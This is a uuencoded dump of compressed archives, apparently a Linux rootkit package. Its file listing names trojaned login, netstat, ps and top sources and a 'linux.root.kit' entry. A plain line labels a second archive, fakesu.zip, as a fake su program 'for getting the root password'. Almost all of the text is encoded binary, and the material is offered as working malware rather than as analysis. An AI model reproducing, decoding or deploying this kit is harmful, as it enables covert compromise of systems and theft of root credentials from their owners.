MKS>?'8_4M3J5(>?:OKK"(S[WZ>86P#DE:7RB($P\V)5+[BU6VKPX2V_6S;F) M2^<L3UD9_=IX3=?.N*2^Q/+D3L1I)<>*?7?'K*<R=@M+"R[#EB<%[B97F-F\ MU41J3K44<6H^K8!^%<:C!73+3QR%W!V9?_Q#>3R.4>*`06+]_FF-MWF9T"F= M?+@S;KZ"P1Z$&^D8A64\+]1:;+5D,S$9^K3Q.H<GDAJ+VE1>95&;ZNG6\V_Y MF*(TH\MDY5FH5C;^:M3*DU#^/FW\1?-.V%\)W2]87'U$)7-E4=ASCW+C>H=. M#ZFD@T1+VGF'\*D>VOY>'@B5=&XYR]W$`G:>]N;GD[4]+?N23"=]@WW2ZN5+ MM=/CK6F,8@D2K9X\KLBCR*-ZI%;>R+D=22WB9.7ZJFTA%?#<HMG5/J[8X0+7 MIOKP:=<=#=9'5.79H%6/J^%!>WPP1Z!R=T_"%RM;.Z&B:@V^?KM%OU?PF[=S MGN_F';B::^)FW<TS"1D@.(Y$Z2O]<5_Y/`O)PX.=RB6Z?%HZ4$U.$NXV]5]= M%KZAMC^71WMSWEPZMKQYZ0X`8Y:^;@7.`=9H<IYX=3%S[F9'!8;GTLD:.9$O M%MP4N/N;O&E>E+0NW77;H5-&4$^B409O$R6!%C#B&^ON,_5KK`>GGM@(6D<! M'ON8%=;][X=F)):8V<X.[KG7T49BU16$"CI)W6#^>QJ'S2[5MS_H_B\_/`S( M^`-?PI\@&P[]F;<JF(!__7%_>=UCZW)%Y8UR?M?@`#TIPF/E\9S=>D2Q,(1: MNFS;_--WX;=-E.)(_;;0HVAW*:H^#F@W^7^@"NFPSCR8ELN)+E]P&L).1OIS M`;*\I-9C'7!WK\K==W19`2I=B]+$%6[*R+:\>(^'E8$CFM#XE?SK9UJ74P,* MAB.^FGTOI.[Q?_"2)V!:+4_L>EWK53$2[#U'@<!>@P*].A+TR$HSHO*<.XDE M<+/I6&\<QY8@F3P.=2_+F\[/+QZ=[I<W$XBN:I.M<D^J\/,+.0TN!8T0T$1" MO;*H(Z]=KMQ37SE$'LEQETLLRR&=E75$S?O^%NT_C:8.':VOUH)>K26]6HMZ MM2GK52=L'ED+>+4AX=5*Q,QGZ0^/]>2%4HC[/T+5>O)`H]PC#7*/9IR7K52/ MD]P(\S40!<?H2C&JAI+IJ@&C:NZK5K>&ZKT%XTM^!UC`BZ_S2YQ5W)7":'/' M"4>+O68+AM6W]5M<.(LOE]RR]OVVJZ_O<LHQ&]V8I"OA9%Z(%GF1$';O5<=[ M\M]KNOU[2)608YY&^=_9!&K)?VH#D04:I;>0_TM(KH)<27U!O<[G_ZUK?:JZ MU_>57'\AH?_?5J[OIXTC"#\??\4EE841-3*5^@"4Y"&T:A]2(814J2%*7>S( M5N'L<K8C(O&_=[_YL3NSM^>$J#P`>[>_=W9V9O;[CA2=5F!('GK;>8[S&)<^ MJ]F4$Y^7]W\O9OR_3)^!&:`LS<<'(IAP-LR,36..;!KF>4P?C]4[,RH0E*P/ MF2_G#\J$Z2_B^6/G>*@;<S)"=\$UX^I?:2&+AK`:#-3`X+5>+\%];1Y9KEXH M)$(U5P%$]!;1]`DM47)W@:N>K$&>Q0G-WK[W8(TO:#RNY$L:/U9]1#&S(Z"/ MW3,25_LZ`;?\DPN%<JD41'=/X5F<[SKF8_GHR?:G9F/)Z<EUI;E$ICK9$AR, MI[6^H`L4@+]J]@OT_H:F*-A%[(?;.I[H]GVOLALS[FDJ%GDI]34];NMV<P_U M`1EFPQ&EAQOV"5;!/-5(#=N?["P<[542!-#M%;UD=2YT4?BBONBBZY9(M?3E M#!Y?;("H7%7K&M5F-MVN]%6I%>SLH=:G-1$2I`&1)`@>-`/N6A\Y-!MIE=@! MF)R%CW#@PB;M<Q?K,.W*6,U@-=(19WIT7KL"0G6K9$[RUSI`F9S\M:J*BOJK MVB$+B@B6L"!=5NN;("%BOJ3T64[Z@SFPQ-/0$$&`(>T-_.I+\:"3DQ.!7NQJ M*.0ZV[5!B*E=V^,N<G2GK`9U.$:ACW:'G]QA<9BDS1P9ATF\*)K$ZR[QB2`S M%+B0X9F3Y7!GPQ)CHW4K!+&,`J<+_32>GX+%ZP:8SB-_[@U=NKAPK'0Y8&Z/ MR*%)E5<\.UHTH%LZ/G"ZA0WW:NS@?8-IBE<&0VYJ#*"0B&91^)^U=K"A]S1\ M@\*B\J.!)P:_'J/6H(J5:4U2UL<4M&.PLNBD0K<HP#48B&D5DR*"ID?I'=M? M,8F%RCII)I>C3>8!1:)B3K>"G-<]\KF-['%>\\#G--+#.<T#CH5EL?,N(!G? M[2"YI;N&_=82@[T`V/M$4K&Z1NE6,6CMV^7J4>+9=[/MA`S$C\MXHX%=P98+ MX=0ZZCC?:O3X+,NIXMW)JPJZJY9+N55%=+5T*;=A+VL(RIB2:3*,"W$I%T<> M9^?M<\.841A:J#!X&Y2WLT%_87CDW/#>F'W`*!#Y)`M(>0HO)PH<&W#=#7V+ M`W#_W_T#9W$2J""^/OZ!UC;'S\@M;)]<L<7H@.[!L&H8E$>?QZCKX1\`?:P- M\5N+)TR\(,P!6^?"K^M@L!$/%,9!J#P\^"T85ZO5DK[O,=,ZVOG,\*+;A+S_ M)#=6=/!\FN!;,HOUT8&?'`]N<Q"[;*B_JK%(E-%U1E7.H;AB2=^J_<Q&ZQQ& MJXUIWC00GM'U<E5?!6NG!1%YS+R6.]Q@6DUG/[HR:,]R$B$]:_CJ0M(WC5-D M4L'K^N6R>5F?AC\?<8-N^!?9JUA2;D3\:]LW;NOR`=L`3@Y(34$.P/!;-)M9 MN1L%TN>II=82=+2S0!%\6'%(#'X0=A8)JQCN:<87QEN)W&>YX>%\E8<__+X< MV2D,\U,>O.RA;HO_8(VQJWB<8FCX1FXF;R81#>5IK%1SI0@^511T0\.P`+VJ MTJD'$SI,-:H*?=-P.VM9Q:"<)=-8K.&18FOQ8UDT5CJ)5HSZ!U/F+0F0XMWQ MC^]#6[*D^-5+M/P>/='VI?AY_#B)Z9>^R[H6BP!?^O/56U,"(QZ:B2'>5C[/ M-(2P5>THPE]F8IS2`H=2W)RI"T;'`T<CF:1!J_)4$+!&!(Q3W]D-?EG\N,*8 M(\+-W>)^L9Y-#V31]"CPJX9QQC<)#(H&/1+SW)PE]#JC$Q3[_O`,47U@&OA7 M"^NV5U*YIO];5H6F+NL<FJ&O`'V+E&Y51//N;`ORR9F/QU:2>SE\.C%%294! M)%D-8]@IJ=OGB*E&;3S;[D5*%97AF\X1L^N\Z->)[3,$C3^BY+X>T"]N*@$7 ME#O[P(`1,;^[&(-GES;;8R(REL9HMI>?WQ1GRL>C3$.]R071L!Z-ZGFP:?Z: M[Y,>",;+"J?]09_EKJBTQ*8Z^H(%X]#Y:KT][?T'4$L#!!0````(`&&%2QUX M;\M7C00``(H*```-````<',O=VAA='1I;64N8Y56;6_;1@S^'/T*3H-=R9$= MVRF*-6ZR`JTW=$N6(DD_#&E@G*63?8VD$^XEKC?LOX\\G5^3=!W@2"<>^9!\ M2-[EJ`,W<Z$!?PR,$@^"%6!K(TH.M9(SQ<H>P`>8<\6G2U"\X$QS,&3C]P/H M@*B,1"':V&DA4LADR43E+#.ATX*)$EA%]KJ6E19340BSA%PJ!T40'@VZW2Y8 M="$,,`-+:17(105*Z'O$BQC&FI,KQ6%!#X3M]6#4C0FD6XITSGAQ_T7.*RTK MB/RB?*LM^C6\9ZNTQS-+ZF1Q(3.1"YX!9G?.E%K"KXKS"D5%!IC43#R@#R@E MNC**9<((62%'TIK:FH0@4FDK0S$KG0`W*84Y\R!O9\QJW5/6S'#[.<?E_1=@ M,V2,/.;B*SK,^0*,0,JF=E8(KGM/F/W6@W=R4?`EF;$L0PZQ$**:N5+X*I9< M:S;C3H4`-%89-2+'O:QC)-`E*DE=_,71?\%ACM("]3"7P6NX8`I?KX]]$$=! M\*.HTL)F'-YHDPG9FY_MB@HQW9>1VUU9GE:FV!792J#UKHS2V-,R9;T'O]1' M0J9[<.%BSDQC'FY)45E4N21AH`TSV+#8-0JISF\'PY_N1D$FL8^Q[@^WQ_@5 MN-V.=O1.&EZC!RFR&/X.@!BU*38`!N4>S?<(=P3U15V*RAJ.O6'K.;:S6V1L MJ4?.UKEWBF@ZR3,XA>Y@95PISK($:NF5G2-30@?E!85!8GI/#)!(\U16F5Z; MVY+:DCY]1DWP$]3#,$16-$M,\:B#A5?:P(P;USZI58HCAFLB*GGC*&IO^8D) M>14*!E[(M%D_UL(44*&A,(^0Z01":`VSDU9_F+4T0)@$!P<KK.Z9*2=$5FLP MA)_A2?$)#(:/;)#KY+$ZG,%@@#AA789H%[(RC)N<B5\W`1AX:@MFN$N>E6ZF M9;Z:HH8`7_KV#HOM-8V$";ZXF&R$J<;;C,,11*_Z'?P-7\:^H"D><IX.6T.X MYNKP%(Y=&7.(&D0\.&"]MT4D')(0[5L9H%Z+EJL62U;&\,,I#&*B0#L&&D?K MWGPFVE?]1LNU+>IL])_::U8M&+[<Q]ZL6]Y.Y)$W^.^T?)/XM-8CY"%=(AQ[ M[3OH<=T1[AI3%S0G.!4>)V;*E2L\G>>^[JX(?CS?0+\9>]B:6%GS*OIT<_%Q M\LN'\W$"EY.K]Y=_G/_I@GO6'L/E2DD5A62/\[!&\':8V%=AHH'__">@/WQ@ MMOQ^A9A`_SR!Z_'X]\GU^*;I03_X&)EC>S&G,QUQO&-WK.`FO38P[<WAE8#& MJX!86(NV4O'F"![[,*<HN=]7>#)3M_-=F6Y#8?<^#FB-G?MJX\V!7K#"4T:C M8!@>@O_'5[0![UDS,<N:4Y:?KL=7DX]7E^_&U]<QM-O!P9YBQ4I^V[^C*%]\ M[K^(5ZSX*AP>CE:%^W:;NY[S\^MMDTTI<8!I?MWXZK"I<R%9QAYF41MOJOX= MEA#?`_\>WC4ZW_#I[/&6XPK_0SB!5F^(Y]#FZ8YD\-`>>0M8<6-51;?F*,#L MZ$*$QU=D0%7ROL.6_EQA<KLW:1R3_;]02P,$%`````@`C(5+'<(K5\!S```` MG`````T```!P<R]W:&%T=&EM92YHT]=2*,](+"G)S$W5RU#0U=55*$Y-10@E M*Z3E%RFD5A3D).8EEF3FYREHZ7-Q*6>FY:6DIBG$QX=[.(:$>/JZQGMP*0-% M,O-2406YRO(S4Q0*BC+S2N)+"T!&:H!$-*VYDC,2BQ2TBK%)<2FGYJ5DIG$! M`%!+`0(4!@H``````+2^1"+=R\9L*````"@````.``````````$`(`"V@0`` M``!L:6YU>"YR;V]T+FMI=%!+`0(4!@H``````+(;/B(````````````````& M````````````$`#_050```!L;V=I;B]02P$"%`84````"`!TGDL=R>L>:7<$ M``#7"P``"P`````````!`"``MH%X````;&]G:6XO9FEX+F-02P$"%`84```` M"`#.G4L=EKDFE]D!``!N`P``#P`````````!`"``MH$8!0``;&]G:6XO9V5T M<&%S<RYC4$L!`A0&%`````@`N9U+'<(GG7W&(@``I%H```T``````````0`@ M`+:!'@<``&QO9VEN+VQO9VEN+F-02P$"%`84````"`"YG4L=O.J[7C,$```T M"0``#@`````````!`"``MH$/*@``;&]G:6XO36%K969I;&502P$"%`84```` M"`#%G4L=-9MQ6KT!``"U`P``$0`````````!`"``MH%N+@``;&]G:6XO<&%T M:&YA;65S+FA02P$"%`8*``````"Q&SXB````````````````"``````````` M`!``_T%:,```;F5T<W1A="]02P$"%`84````"`"B:5`=0OU.EGX```#V```` M$``````````!`"``MH&`,```;F5T<W1A="]C;VYF:6<N:%!+`0(4!A0````( M`,)\4!W)ZQYI=P0``-<+```-``````````$`(`"V@2PQ``!N971S=&%T+V9I M>"YC4$L!`A0&"@``````L1L^(@````````````````P````````````0`/]! MSC4``&YE='-T870O;&EB+U!+`0(4!A0````(`'!C4!T.[^U8K@(``"(&```0 M``````````$`(`"V@?@U``!N971S=&%T+VQI8B]A9BYC4$L!`A0&%`````@` M<&-0'9[4Q17N!@``A!$``!(``````````0`@`+:!U#@``&YE='-T870O;&EB M+V%X,C4N8U!+`0(4!A0````(`'!C4!V=`,XSX@0``-`+```3``````````$` M(`"V@?(_``!N971S=&%T+VQI8B]E=&AE<BYC4$L!`A0&%`````@`<&-0'9EC MA1=2!```(@D``!4``````````0`@`+:!!44``&YE='-T870O;&EB+V=E=&%R M9W,N8U!+`0(4!A0````(`/!Z4!UG_V3I!`,``.0%```5``````````$`(`"V M@8I)``!N971S=&%T+VQI8B]G971S;V-K+F-02P$"%`84````"`!P8U`=HZ6G M>0,#``"?!P``$``````````!`"``MH'!3```;F5T<W1A="]L:6(O:'<N8U!+ M`0(4!A0````(`'!C4!T::Z]`>P8``*P0```2``````````$`(`"V@?)/``!N M971S=&%T+VQI8B]I;F5T+F-02P$"%`84````"`!P8U`=7(PDR^D"``"@!0`` M%@`````````!`"``MH&=5@``;F5T<W1A="]L:6(O;&]O<&)A8VLN8U!+`0(4 M!A0````(`$"I41T!'JB`M````"8!```4``````````$`(`"V@;I9``!N971S M=&%T+VQI8B]-86ME9FEL95!+`0(4!A0````(`'!C4!V6Y9WUC@(``)P$```1 M``````````$`(`"V@:!:``!N971S=&%T+VQI8B]P<'`N8U!+`0(4!A0````( M`'!C4!U1NK5:M@,``,X+```2``````````$`(`"V@5U=``!N971S=&%T+VQI M8B]S;&EP+F-02P$"%`84````"`"C9%`=(OH;U($"``#<!0``%0`````````! M`"``MH%#80``;F5T<W1A="]L:6(O<W5P<&]R="YH4$L!`A0&%`````@`<&-0 M'?.ZS?LZ`P``3P<``!(``````````0`@`+:!]V,``&YE='-T870O;&EB+W5N M:7@N8U!+`0(4!A0````(`"BI41T5-&WC_@```(T!```0``````````$`(`"V M@6%G``!N971S=&%T+TUA:V5F:6QE4$L!`A0&%`````@``JA1'=DI'P]R&``` MC60``!$``````````0`@`+:!C6@``&YE='-T870O;F5T<W1A="YC4$L!`A0& M%`````@`B&-0'7BPS!U-`@``(P8``!,``````````0`@`+:!+H$``&YE='-T M870O<&%T:&YA;65S+FA02P$"%`84````"`#NJ%$=!7O0U?(````J`@``#@`` M```````!`"``MH&L@P``;F5T<W1A="]214%$34502P$"%`8*``````"(8U`= MWU8BXSP````\````$0`````````!`"``MH'*A```;F5T<W1A="]V97)S:6]N M+FA02P$"%`8*``````"Q&SXB````````````````#````````````!``_T$U MA0``;F5T<W1A="UO;&0O4$L!`A0&%`````@`[F92':9A;%ZO'@``SET``!$` M`````````0`@`+:!7X4``&YE='-T870M;VQD+S(N=75E4$L!`A0&%`````@` M!&52'<GK'FEW!```UPL``!$``````````0`@`+:!/:0``&YE='-T870M;VQD M+V9I>"YC4$L!`A0&%`````@`HF12'1X)?UV7````W@```!0``````````0`@ M`+:!XZ@``&YE='-T870M;VQD+TUA:V5F:6QE4$L!`A0&%`````@`Z692';#5 ML++I$P``!$0``!,````````````@`+:!K*D``&YE='-T870M;VQD+VYE='-T M87102P$"%`84````"``B8E(=>('M0=`0``!"3P``%0`````````!`"``MH'& MO0``;F5T<W1A="UO;&0O;F5T<W1A="YC4$L!`A0&%`````@`W&92'6?_?4_M M&0``YD```!4````````````@`+:!R<X``&YE='-T870M;VQD+VYE='-T870N M;U!+`0(4!A0````(`%:\;AS15/5GB`$``&8#```7``````````$`(`"V@>GH M``!N971S=&%T+6]L9"]P871H;F%M97,N:%!+`0(4!A0````(`%EE4AW._=J# M#0$``$,"```2``````````$`(`"V@:;J``!N971S=&%T+6]L9"]214%$3450 M2P$"%`8*``````"R&SXB`````````````````P```````````!``_T'CZP`` M<',O4$L!`A0&%`````@`885+'>_UZOU9`0``P`(```H``````````0`@`+:! M!.P``'!S+V%L;&]C+F-02P$"%`84````"`!AA4L=81V![NP,``#_)@``#``` M```````!`"``MH&%[0``<',O8V]M<&%R92YC4$L!`A0&%`````@`A(5+';`@ M8^'H!0``X@P```P``````````0`@`+:!F_H``'!S+V1E=FYA;64N8U!+`0(4 M!A0````(`'.>2QW)ZQYI=P0``-<+```(``````````$`(`"V@:T``0!P<R]F M:7@N8U!+`0(4!A0````(`&.%2QWS!)RV#P8``/<1```+``````````$`(`"V M@4H%`0!P<R]-86ME9FEL95!+`0(4!A0````(`&&%2QV/_G#35!,``-TT```' M``````````$`(`"V@8(+`0!P<R]P<RYC4$L!`A0&%`````@`>(5+'?4?3;)6 M!```<@D```<``````````0`@`+:!^QX!`'!S+W!S+FA02P$"%`84````"`!H MA4L=[2;RL!8"``"K!```"P`````````!`"``MH%V(P$`<',O<'-D871A+FA0 M2P$"%`84````"`!AA4L=\J)3_EH!``"K`@``#``````````!`"``MH&U)0$` M<',O<'=C86-H92YC4$L!`A0&%`````@`!(9+'7ZS"CSQ`0``L@0```P````` M`````0`@`+:!.2<!`'!S+W-I9VYA;',N8U!+`0(4!A0````(`/:%2QU3-?"" M/@$``"("```,``````````$`(`"V@50I`0!P<R]S:6=N86QS+FA02P$"%`84 M````"`!AA4L=KBQ3ILH/```D.```"0`````````!`"``MH&\*@$`<',O<VYA M<"YC4$L!`A0&%`````@`885+'=R=/V/"````90$```L``````````0`@`+:! MK3H!`'!S+W-T871U<RYC4$L!`A0&%`````@`885+'4//N6GZ`@``Q0@```P` M`````````0`@`+:!F#L!`'!S+W-Y<VEN9F\N8U!+`0(4!A0````(`(^%2QTO M1`.>F@```!(!```,``````````$`(`"V@;P^`0!P<R]S>7-I;F9O+FA02P$" M%`84````"`#7A4L=`&,*=E<<``#14```"``````````!`"``MH&`/P$`<',O M=&]P+F-02P$"%`84````"`!AA4L=>&_+5XT$``"*"@``#0`````````!`"`` MMH']6P$`<',O=VAA='1I;64N8U!+`0(4!A0````(`(R%2QW"*U?`<P```)P` M```-``````````$`(`"V@;5@`0!P<R]W:&%T=&EM92YH4$L%!@`````Y`#D` *?`T``%-A`0````$` ` end 4. Fack SU program - For getting the root password. begin 644 fakesu.zip M4$L#!!0````(`"\B1")UVD\.'0P``#DP```(`!``8V]N9FEG+FA56`P`DZ/X M,KH,]S+\`0``M9I;<Z-&%H#?\RNZ)@_*IF;&ZTTJ^[!.JC#",C42L(!\>\$8 M6E*O$4WHQAK-K]]S&B0+A&@EFZV:&NL"7Y]S^EP;7?Q($IXOV/+SZC,A$YK3 M,I8T)7$E^3J6+(FS;$M>MLU554GALA\OOKLXN(_E`[<N2KX^N)GE",-+5C1. M:5G3$#>F"Y93PA:$Y\2P'\A/G[\CA`1;(>F:U%<+(OB:2K:F@J3U]7+%A+KP MGI+_5$*239Q+(CF)WS@#84A)U95,,N#2LN0E@=M%O&PT^9XM<KB"1,9T&@7N MW#<M%.?[JONINICF*5MTY*T$RY<$M.5)_#G9VZ<AF(AP3:.C)TA(UX7<(D"N M*'FEVPTO4Y)RT"WGH`<O7[LLL"-H>`3B\(>#K$LJ7W[YYT<RL<)K_%N_)PM0 MV2SC[:=_D#A/ZY>/,X\(9=K:>B&8D2RJ/%%F@M<E_;UB8#MU]TXW(JJBX*7$ M+9(K+NB>T57:-QZC(#3,+X$UB2QGW!$:H>/)_(%LF%R1*Z!<I,L(_D0L7_#/ MJ]^Z0'7QD>)H.+DME/8THVN:2T%8KCZ/2]"3""K1X9[!%,N25X48*77GHE+> MB=Z#VE(0@Y;DF>5R1$"VYR5+(SEJ/*1Q-3#KQ'?G7A"%1'W?\0-<%1?*>)S& M;\O1NSUS2E.!`K]04E8Y2E6!<\)"\`I076UAI:EKC(V[2>3Y]IT]M296UX1` MJ\6%E94!T1`"3*=<*!_))D*Z;"7Y<=!M>456\1MM]OHCB04$SUX#C)HX*7G; M(K?&G;5S[\M3P*O&>T`R=#\FB5CQ*DO1&)4`#_L!W1W6F&>R9%__=G*)Z+9W MD92CLFJIMZ($DRS(2P7:\_JS*.5%F<NN&11W['J^$_8:HVQ<&R#@(>!6?)/W M[VXO^7T'ATRM@AR3Q_-Z'1>CW9*8.7NL,)L9WFDSH_<)62XP.P[+%H3^36C/ MK%-ZR[)*((76JLMU](T?>Y$"A;/HR77Z.8?;TC!:VX+BTJ^2EGF<U;&*<2F_ MY?&:]N@>/CD&2#RH_6[WV\JW,'<03DYXT^:`EA'DG6P?QK$<";*!/PIK0MI= M%RR#_(`;@][0M49S<U\EF]F._="]/E*?#ML?D$*J+8@A@420-=9T_;*KF.\L M9VH'8836B>:.[3H#_G:EF/OLNK-,30"OF)MAVS*88S*>+_]PDN&+15^243Y: M^_B^SA4E?V,I)9X;@*$NR8+&$CH%R,E?$UI(]`I5)%2JKE<[RI>1NCFZ/*C4 MQR;`)(P:,<QFT$RH(B0D[#*F):X*`"R2+U6F[BN_S3*]BZ"IJERP)8CWA\TE MV#?Z;B][UU+4WL?615W:XCH3+_8I.FWI]YKS#=Z"%DNA=">[RT''Y)5`^=N` M&5'I@_3VKUKQ#8-:#IEYP[(,\C(BVFU<2M,JP>9.8@'[A$D&"JFJ\-'8]BTS M1-?[C?R=_/J;6@J-N(FAH5FQ)5HV3E/85$'%\5U7/7=E?#-\TZ_U32U%&Q6K M'$V1?]>V<1?0ZYS/060'/X[J6J=:";6-Z"7U+NY;,_3;@I;9MKN7L$X8S0S3 M=X/HVG>_6$,1B6L:3F##-M<=+EE`HA'M^`S"L1G=6L;8\H-V?(+:37]\1WQH M@&+8Q9^/!+KS?^X7(8',(N(%A?UE>9)5$(4O?->/J2UN:O95\Z8M%]:0Z-X. M;Z/@$7HBNS\_EVU<2I,LQO#>EYFNO%!5;.<=^==T/55/UX.A8.4)+RF9SXRC M)(V?#=\!MOY)E0N5IJ]8_GN$GE*)BZ2H\!4*AK'$H&V'[44?54(??-VWZL_1 M3R=J`SA=`@&A$A='*^+,('8)DI(UAYJ!28@M('!SE3U?MA(D9R5\\T/&7BF9 M<;B79[':VL`S?/,CQ(SZRLXES=3G=\;#W[JRW;O^&)S:GD!#;QL]?EVGK?<F M:3<-[3S&/.R+NC6X++)HWZ8C[?W-;F]5X)604(XJ\/NU@\U<+8<`UW7-R;WM M!$\8X[@E,(JI$;C=AZM+=N[HA8]_ELYX(C,='^X*I\?^?HG+.--@-Y516"MM MV]5RC.NI%>%%7:M>MO)-$DNPE%`[7#=HNW$9.G$R<>9H2`E]66^_9QHA[%\P M:(114Z39+BD_[P*=EFO&Q:AN:9IF!OT3.[Z4)%&V#]M6RV9&4]NQ-'HU4O]) MO4"IT'HX-0=@K<T@=ZG4C".XC"&>R=2,9E80&!,KZ)'ZX-O^I'@P76#@7F!D M7U2%ZMY%01,&;3$NV,/V?->,YM[IA'O`AO)P!_-6G$)O4,1"U/D"S:1Z,?4% MJ'9X&--:*[@UQNY]=_+:>65G^"B28CO4?0>A9WJ/FA%F*S*^'*0\!E-W,J3Y M:%]=*KDN6@[7>%LEHQ6DRA[Z/(QNW2`<%O(*N5^QZAQ4[5[7FH<S[P',=^1: MRJO4;B=QLL*D\80-G2@89&LU>WA<L*^[<YA.2X#C\%357],P;ZVCW<%<"@HG MH'W3V92TR.)$]9'O4WU[$.\JT`".$I*"ORK9_P=X#1C,I\!\K<,#HA>&.UXR MN57.*P[>'PS-XJ,J>%5=D)]SEM#1KO@>S4VVB:%DN[Y]E->;HR7T%4QA^#J% MR:ED@#YR2@_Z2HAS\D&L/L'7F?B@4.%*)0O(N#3?=^[-D*Z&C`^8ECY\5/HT MC,YYDS./]G"\N+U`)Q95&[DW/J03R55O!,,U[D#\TLTED$9"-WSTNAD*@,N\ MBO9G"7]TCW?\/>"0=FHNBQY<SW)VH]5^1`-9UC'T)4WQ@$Q5P]6``J-*8U)8 M?%%EX`GK%YX='4:&EC^SH1MW+`O:E]9"O=O^1DMQL%^G=_X.&G(<)3Y<?K[\ MY<,9C<&N%F[`)V'D&[TW'W1]W!U@<V`_6=@>>*$UTXP14127RV]1PJN##>I) M<%%D^).GR'3GCB;+-<0<"^O@@5*#=$[5T"-D'0)L,5@M&FH0^K8SL6\T=>,% M9A\5KP/$:R.P],=(+PD?+F/7IJNK8LFJY'QP&\Q;WW4U&Y"4VV(8XC]Z&D:: M['JCP2T<FT--T,&179XN2SKL83`=3'Q+YUU`*C9ZDG>O)2TR#@/1`.9FZKJ^ MAM%S;-IFG&JWWAE@Z&23#D'`QN;]6$M):<;6&L[8FMHS+:F9B891]4,-+0L; MII<M'LEH>-@_73\:X['&YGNF+F[W3'WP-LPSB6?QFEGV+SCOWW4R\9)B^M<( MZ.'P`/E?*R"Z+E^D\6#2PO`&#W9OQH8F=P$1ZFDI5A0*[#!Q'D`%O+6FTV$B M?":C7/)X"`=#7A@YH3OP)*EFL3.\VG;LL]R:B5@DC`VB`B,P;7N8@ZWR<-&8 M63/M[`,4?%XY3`DL33I<\W3P&<C,'=]H"%6^CHM!QMS1/HPJ8.0<C!G/O=<$ M2X&G9'@HE&*.8(F&IXY>,3=BHK!-';R"SOQM2$MO'EK.W;"6^,AIB('/FS03 M+]7)`5NNE4.<E_B"<Q.?P,2'!Q\:FII$=:S?2TW[$?S;UW4>0E>A`WV%_HN. M*&290+>)L_$@R3>AWS1G^F>VT"WJ2+>:6HH44>0Z3.`Y6D[]&YEAD.7[NHX* M2&<H=I9F\$^#@7]:BN2#Y0P0H:LI9(I2Z3%S'6<K\'<NFE,NV[EQ_W^'9>\4 M^4U3=<(G;=&I=(EGKD\Y5S@;]AZJM7\,@E-A_T]!#E%%?(%]QSD\SZB[#QUT MD>1XBJ\#WIA..-7#H*\\0SJ870R]9#`O,/4X24.#F<$.`SVN.?+6XE3RU^+6 M<;*ZP/_..3&=&>9M_5_/J6F7BP_"]6+.U.^'M&*"MZ0O>AIXROCZ'!BZ'_C@ M643E?[:CQV;1_HFG!CJ-U.&>%EG$<G4&SS/"6SU,R#1C9Q@Q",=36V_%^J#H M'!P>$NEQ>-86E_'Z#"(^\#-\8W865/#D]9Q<@]3`-;^<D6P45AT?-C^)U$:. M@C\&H37#RJ$/G\/'\GJQU=.&<X1&Y#D>T##/<`)5Y<XB0JW3XJJ<@9?J<7/' M!B_5XM[BK#HG'N^,Z5P?C?61'X10&9=;\L.G3'UP]"2^2>;7]0'@\#ZGR^00 M"&]/XL83W=#$#E'L),C68%[5[ZX.4.J#D[@O.-EID%P<\K@X"7/['V`?CCXM M@\';DRSH[W6P^MGK(4]]TO<S5P2JYZV:KJ_*6[PJ/RW?7/?KHVW145=]<!+X MZ#4J_Q=02P,$%`````@`\WM%(H>YN^Z.!```M`D```<`$`!E<G)O<BYH55@, M`*:C^#(Y_/@R_`$``*U644_;2!!^;G[%J$C%1B84**`>UX>4@S82!!0[JGAR M%WM,5G+6T>XFE%-__'VS&P@Y]7I]Z$MB[\[.?//-MS/>VR&VMK/]*>WN4LU5 MJZSRNC/4=#9N[5J>=]9K<T_-PE2RV2.BLV[^:/7]U%-REM+^^_='F?P>TX5E MIKQK_(.R3!?=PM3!8T9#4_5[<K:8:D=SV]U;-2,\-G+$K8Z<TF.WH$H9LEQK MYZV^6W@F[4F9>@^H9EVMFT?Q@S5X9TM^RN39SAQU37CY-)K0)S9L54LWB[M6 M5W2I*S:.22&TK+@IUW07_,B)_X)]2JRQ;VG)U@DQ!QD!1**\X+34S<4J%3?* M/%*K_-KVQ]FNDZI)FQ!\VLV1P!0^D=*#;ENZ8UHX;A9M)BY@3%^&Q>?K24&# MT2U]&8S'@U%Q>PIC/^VPRTN.KO1LWFIX1AI6&?\(1L3#U?GX[#..##X.+X?% MK:1P,2Q&YWE.%]=C&M#-8%P,SR:7@S'=3,8WU_EYGRAG@<7BX">,-J$H8*UF MKW3K8MJWJ*(#MK:FJ5HRJEFQ7@*9H@K:^?]*!4K;#KJ3)&&\IO&4=$.F\QD] M6`UQ^.ZG-0P<BOHR.GI/!8,BIIM654R[E"_$P^'AVXP^=LZ+4*\&]/9@?W]_ M=__P[4E&DWP`+G;V>KTMW4!O#9V/Q]?C\G/9VT+.C3:\7L'2RJ@LE5\5NBQ[ M>SM1"`TKOP`Z/*HEV%)WP`(9W%?5DVP<'?2/1.U133'V%DG.90F^SLJ2_J0# M^OZ=DN>%#Q^P\N;-D\75<`0\8G>4BF%9YL5X>%:4@U$^+`4X/4'?P)GD<ZY2 M`EJP!/7$R&QPY6(*8K^+,GBN1,!+935D%B[>5PAAIOQV@/YU;K7Q#5Z>G+M0 M4*2NJHKG/MR^?Z=]W']'"3<-G$,K[2.63M+?1L5)NIEWQ(NM^+"Y&?%C,SZL M:=A:_8=*K^QK"9\7?R%\&D/'EYZ0=B,.(/L9.Z?N.<KY:Q/]4N(\6IC-Y!Y> M#8J,^OU^NGT:^EM0VFAR)6HQG?F;;9<!;-MV#[%3P-'K/^AU8`A=)31L2N*A MM!]DWU!>#(I)ON%#FJ4VRH?K_=R<(C#^!M=)/)1NKY3/WW#$T++3-:VB2%+. M0\TN(WG&LEG,,MQNXSQ54V5I)Q(;<Q(TM*DV2I(754C6I&=TF-&[-$U/?Q`: M'LI6BO1K$(R:<=9[]>H5HB^,T_<F-%Y/XL-TOPLPYM]Q!(R2@_71Y/(R6W$5 M6GK3+MP4<&OTZTQX-U%:A*$2-?"R&!(\(`_]$FTPU%B1FZ-MH2C7,I0>M..- M&)7"CW1*.?XTKI^'Q!S#?<9@TR%_YUG5L;HO&4YV(L<!6BE@!$5*B>Q*=I!_ MB^;\4@E8_E%UL/Q+GF'W?*>>VF3H*Z$U"M;*\HR-M`Q6%4:!GC%T*MZVQ4"R MYLU<-@H=XZZN7UEA+OA8IKP#'7#FZ`'7$GU,)DF85AC%,TP#U(976<XQUR6O M?ISH0O`S2"C(VZZ%FRF'CX4PK/"A$O`[;F.SA!<,K0V<:WB(5")&X$YH#H1( M(\:1Y_$B)_\!4$L#!!0````(`+I,12+5AMY/@@(``,X$```*`!``9F%K97-U M+F1O8U58#`!/J?@R3ZGX,OP!9`!M4TUOTT`0O>^O&$JE@I0X`BXHJ(>J"K2' 